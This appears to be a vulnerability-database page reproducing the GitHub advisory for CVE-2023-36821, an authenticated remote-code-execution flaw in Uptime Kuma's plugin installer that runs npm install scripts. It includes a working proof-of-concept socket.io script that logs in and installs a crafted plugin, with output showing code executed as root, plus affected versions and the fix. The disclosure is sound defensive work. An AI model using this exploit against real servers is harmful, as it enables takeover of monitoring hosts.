8.8
CWE
20
Advisory Published
Advisory Published
Updated

CVE-2023-36821: Uptime Kuma vulnerable to authenticated remote code execution via malicious plugin installation

First published: Wed Jul 05 2023(Updated: )

### Summary Installation of a maliciously crafted plugin allows for remote code execution by an authenticated attacker. ### Details Uptime Kuma allows authenticated users to install plugins from an official list of plugins. This feature is currently disabled in the web interface, but the corresponding API endpoints are still available after login. After downloading a plugin, it's installed by calling `npm install` in the installation directory of the plugin: https://github.com/louislam/uptime-kuma/blob/8c60e902e1c76ecbbd1b0423b07ce615341cb850/server/plugins-manager.js#L210-L216 Because the plugin is not validated against the official list of plugins or installed with `npm install --ignore-scripts`, a maliciously crafted plugin taking advantage of [npm scripts](https://docs.npmjs.com/cli/v9/using-npm/scripts) can gain remote code execution. ### PoC In the PoC below, the plugin at https://github.com/n-thumann/npm-install-script-poc will be installed. It only consists of an empty `index.js` and a `package.json` containing the script: `"preinstall": "echo \"Malicious code could have been executed as user $(whoami)\" > /tmp/poc"`. This will be executed when installing the plugin. 1. Start Uptime Kuma: `docker run -d -p 3001:3001 -v uptime-kuma:/app/data --name uptime-kuma louislam/uptime-kuma:1` 2. Create a user using the Uptime Kuma web interface, e.g. user `admin` with password `admin123` 3. Confirm that the PoC file to be created doesn't exist yet: ``` ➜ ~ docker exec -it uptime-kuma cat /tmp/poc cat: /tmp/poc: No such file or directory ``` 4. Create file `poc.js` with the following content: ``` SERVER = "ws://localhost:3001"; USERNAME = "admin"; PASSWORD = "admin123"; const { io } = require("socket.io-client"); const socket = io(SERVER); const repo = "https://github.com/n-thumann/npm-install-script-poc"; const name = "npm-install-script-poc"; socket.emit( "login", { username: USERNAME, password: PASSWORD, token: "" }, (res) => { if (res.ok !== true) return console.log("Login failed"); console.log("Login successful"); socket.emit("installPlugin", repo, name, () => { console.log("Done"); socket.close(); }); } ); ``` 5. Install `socket.io-client`: `npm install socket.io-client` 6. Run the script: `node poc.js`: ``` # node poc.js Login successful Done ``` 7. The PoC file has been created: ``` ➜ ~ docker exec -it uptime-kuma cat /tmp/poc Malicious code could have been executed as user root ``` ### Impact This vulnerability allows authenticated attacker to gain remote code execution on the server Uptime Kuma is running on.

Credit: security-advisories@github.com security-advisories@github.com

Affected SoftwareAffected VersionHow to fix
npm/uptime-kuma<=1.22.0
1.22.1
Uptime Kuma<1.22.1

Never miss a vulnerability like this again

Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.

Frequently Asked Questions

  • What is the severity of CVE-2023-36821?

    CVE-2023-36821 is a critical vulnerability that allows remote code execution by an authenticated attacker.

  • How do I fix CVE-2023-36821?

    To remediate CVE-2023-36821, upgrade Uptime Kuma to version 1.22.1 or later.

  • Who is affected by CVE-2023-36821?

    CVE-2023-36821 affects all versions of Uptime Kuma prior to 1.22.1.

  • What type of vulnerability is CVE-2023-36821?

    CVE-2023-36821 is classified as a remote code execution vulnerability.

  • Can CVE-2023-36821 be exploited through the web interface?

    Exploitation of CVE-2023-36821 requires authenticated access, as the plugin installation feature is currently disabled in the web interface.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2025 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203